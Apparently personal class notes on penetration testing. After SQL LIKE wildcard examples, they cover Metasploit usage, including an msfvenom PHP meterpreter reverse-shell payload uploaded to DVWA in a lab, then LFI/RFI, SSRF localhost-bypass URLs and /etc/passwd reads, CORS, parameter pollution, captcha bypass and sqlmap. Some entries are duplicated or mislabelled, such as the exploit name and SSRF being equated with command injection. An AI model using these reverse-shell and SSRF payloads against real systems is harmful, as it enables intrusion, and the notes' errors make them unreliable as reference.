WHERE CustomerName LIKE '%a'

Finds any values that end with "a"

SELECT \* FROM Customers

WHERE CustomerName LIKE '%or%'

Finds any values that have "or" in any position

SELECT \* FROM Customers

WHERE CustomerName LIKE '\_r%'

Finds any values that have "r" in the second position

SELECT \* FROM Customers

WHERE CustomerName LIKE 'a\_\_%'

Finds any values that start with "a" and are at least 3 characters in length

SELECT \* FROM Customers

WHERE ContactName LIKE 'a%o'

Finds any values that start with "a" and ends with "o"

\* - Represents zero or more characters

bl\* finds bl, black, blue, and blob

? - Represents a single character

h?t finds hot, hat, and hit

[] - Represents any single character within the brackets

h[oa]t finds hot and hat, but not hit

! - Represents any character not in the brackets

h[!oa]t finds hit, but not hot and hat

- Represents a range of characters

c[a-b]t finds cat and cbt

# Represents any single numeric character

2#5 finds 205, 215, 225, 235, 245, 255, 265, 275, 285, and 295

% Represents zero or more characters

bl% finds bl, black, blue, and blob

\_ Represents a single character

h\_t finds hot, hat, and hit

[] Represents any single character within the brackets

h[oa]t finds hot and hat, but not hit

^ Represents any character not in the brackets

h[^oa]t finds hit, but not hot and hat

- Represents a range of characters

c[a-b]t finds cat and cbt

SELECT \* FROM Customers

WHERE City LIKE 'ber%';

SELECT \* FROM Customers

WHERE City LIKE '%es%';

SELECT \* FROM Customers

WHERE City LIKE '\_ondon';

SELECT \* FROM Customers

WHERE City LIKE 'L\_n\_on';

SELECT \* FROM Customers

WHERE City LIKE '[bsp]%';

SELECT \* FROM Customers

WHERE City LIKE '[a-e]%';

**12-06-2021, MONDAY**

MSFCONSOLE

MS08\_068\_NETAPI

MS- MICROSOFT

08- 2008

068 - 68th vulnerability

Commands

Search

Show options - Will display all available options which we have to set

Use - Use any exploit

#use exploit/ns08\_068\_netapi

Set - Setting any payload or parameter

#set payload windows/meterpreter/reverse\_tcp

LHOST - Local host (ur computer ip)

RHOST - Remote host (victim ip)

LPORT - Locall port (ur port number)

RPORT - Remote port (Victim port number)

Working methodology

1. use exploit

2. set payload

3. show options

4. set missing parameters

5. Run exploit

Output options of MSF

msfvenom & msf

- Generate output file using msfvenom

- Create a listner in msfconsole

1. use exploit (Multi hander)

2. set payload (The same payload which we used in msfvenom)

3. show options

4. set missing parameters

5. Run exploit

FILE UPLOAD VULNERABILITY

06-12-2021, MONDAY

MSFCONSOLE

MS08\_068\_NETAPI

MS- MICROSOFT

08- 2008

068 - 68th vulnerability

Commands

Search

Show options - Will display all available options which we have to set

Use - Use any exploit

#use exploit/ns08\_068\_netapi

Set - Setting any payload or parameter

#set payload windows/meterpreter/reverse\_tcp

LHOST - Local host (ur computer ip)

RHOST - Remote host (victim ip)

LPORT - Locall port (ur port number)

RPORT - Remote port (Victim port number)

Working methodology

1. use exploit

2. set payload

3. show options

4. set missing parameters

5. Run exploit

Output options of MSF

msfvenom & msf

- Generate output file using msfvenom

- Create a listner in msfconsole

1. use exploit (Multi hander)

2. set payload (The same payload which we used in msfvenom)

3. show options

4. set missing parameters

5. Run exploit

FILE UPLOAD VULNERABILITY

Kali Linux

Terminal 1

#msfvenom -p php/meterpreter/reverse\_tcp lhost=192.168.1.2 lport=4444 -f php > /root/Desktop/test.php

Terminal 2

#msfconsole

#use exploit/multi/handler

#set payload php/meterpreter/reverse\_tcp

#show options

#set lhost 192.168.1.2

#exploit

OUTPUT

Start metasploitable lab in virutalbox

FIrefox - kali linux

dvwa login - admin/password

Set security to low

go to upload

Browse

upload test.php

http://192.168.1.10/dvwa/upload/

After upload is successfull, we get

/hackable/uploads/test.php successfully uploaded

Replace the url

http://192.168.1.10/dvwa/hackable/uploads/test.php

FILE INCLUSIONS

LFI / RFI

LFI - Local File Inclusion

RFI - Remote File Inclusion

Outcomes of file inclusion

- Code execution

- Denial of Service Attacks

- XSS

- Sensitive Information Disclosure

LFI

Parameter = local file

www.abc.com/index.php?file=login.php

Paraemters - file, document, folder, root, path, pdf, template

RFI

Parameter = Remote file

www.abc.com/index.php?redirect=https://facebook.com/status?id=1

Parameters - dest, redirect, url, reference, domain, return, retun\_url

http://testphp.vulnweb.com/showimage.php?

SUBDOMAIN TAKEOVER

Steps

1. Enumerate subdomains

2. Check response

(www.httpstatus.io)

Check for 404

3. Visit the page and check if the contents of the error gives out any information

CSRF

Cross Site Request Forgery

Client Side request forgery

SSRF

Server Side Request Forgery

Involves in directly interacting with the server using attacker commands and trying to retrieve information

Also called as

OS command injection

or

Server side command injection

SERVER SIDE COMMANDS

- Commands passed through API's

http://localhost/admin

http://127.0.0.1/admin

http://2130706433/admin

http://017700000001/admin

- commands targeting protocols

ftp:///etc/passwd

tcp:///etc/passwd

imap:///etc/passwd

pop3:///etc/passwd

https://accb1f741ee99490c06c64870072000d.web-security-academy.net/product?productId=1

http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=2

09-12-2021, THURSDAY

CAPTCHA BYPASS

Captcha on a webpage is to prove that its not a robot/autobot which is running scripts on the page

Methods

- Use chrome extensions

Rumola

- Use python scripts

- Use softwares

Tesseract OCR (Optical Character Recognition)

- Use burp

Captcha parameter tampering

Clear text storage of captcha in html source code

Captcha storage in cookies

CORS

Cross-Origin Resource Sharing

origin is defined by 3 factors

- Protocol

- Domain

- Port Number

request - http://www.abc.com:8080

response - http://www.abc.com:8080

CORS is a mechanism which tells browser when it is allowed to access resoruce (image, font, anything else) when its not of the same origin and from a different server

When cors is enabled

request - http://www.abc.com:8080

response - http://www.xyz.com:8080

When cors is enabled from all websites, any website can run their malicious script in our website, because we have allowed this through CORS

ACCESS-CONTROL-ALLOW-ORIGIN

ACCESS-CONTROL-ALLOW-CREDENTIALS

Victim website

https://accb1f411f5a3ac6c05a22d700fc0060.web-security-academy.net/my-account

Evil website (Attacker webserver)

https://exploit-ace41f8f1fff3ae9c02c2293016d00d2.web-security-academy.net/

HPP

HTTP PARAMETER POLLUTION ATTACK

https://www.flipkart.com

https://www.flipkart.com/?product=iphone&price=120000

?

name = product

value = iphone

product1 = mobile

product2 = laptop

product3 = watch

product4 = pendrive

www.abc.com/list/products/?id=product1&id=product2

Depends on the server and technology used

- JSP & Tomcat , returns the first value

- PHP & Apache, returns the last value

- ASP & IIS, returns all the values

SQL INJECTION

Tool - SQLmap

- Open source pentesting tool which automated the process of detecting & exploiting sql injection flaws and attacks database servers

- It tests whether a GET parameter is vulnerable to sql injection

?id=1

sqlilabs github